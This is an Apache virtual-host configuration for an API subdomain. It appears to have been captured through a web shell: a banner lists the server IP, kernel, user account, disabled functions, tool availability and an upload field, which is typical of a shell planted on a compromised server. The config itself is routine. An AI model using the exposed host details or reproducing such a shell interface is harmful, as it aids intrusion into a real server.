| Server IP : 35.80.110.71 / Your IP : 216.73.216.221 Web Server : Apache/2.4.58 (Ubuntu) System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64 User : ubuntu ( 1000) PHP Version : 8.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /etc/apache2/sites-available/ |
Upload File : |
# api.codex.philiprehberger.com — Laravel API + Filament admin host.
# Source of truth: /var/www/codex/current/infra/apache/api.codex.philiprehberger.com.conf
<VirtualHost *:80>
ServerName api.codex.philiprehberger.com
DocumentRoot /var/www/codex/current/public
<Directory /var/www/codex/current/public>
Options -Indexes +FollowSymLinks
AllowOverride All
Require all granted
</Directory>
# 1MB body cap (Filament posts + /api/revalidate).
LimitRequestBody 1048576
# Suppress access-log noise for the health endpoints.
SetEnvIf Request_URI "^/(up|up/diagnostics|up/queue)$" dontlog
Include /var/www/codex/shared/apache/security-headers-common.conf
Include /var/www/codex/shared/apache/csp-api.conf
ErrorLog ${APACHE_LOG_DIR}/codex-api-error.log
CustomLog ${APACHE_LOG_DIR}/codex-api-access.log combined env=!dontlog
RewriteEngine on
RewriteCond %{SERVER_NAME} =api.codex.philiprehberger.com
RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [END,NE,R=permanent]
</VirtualHost>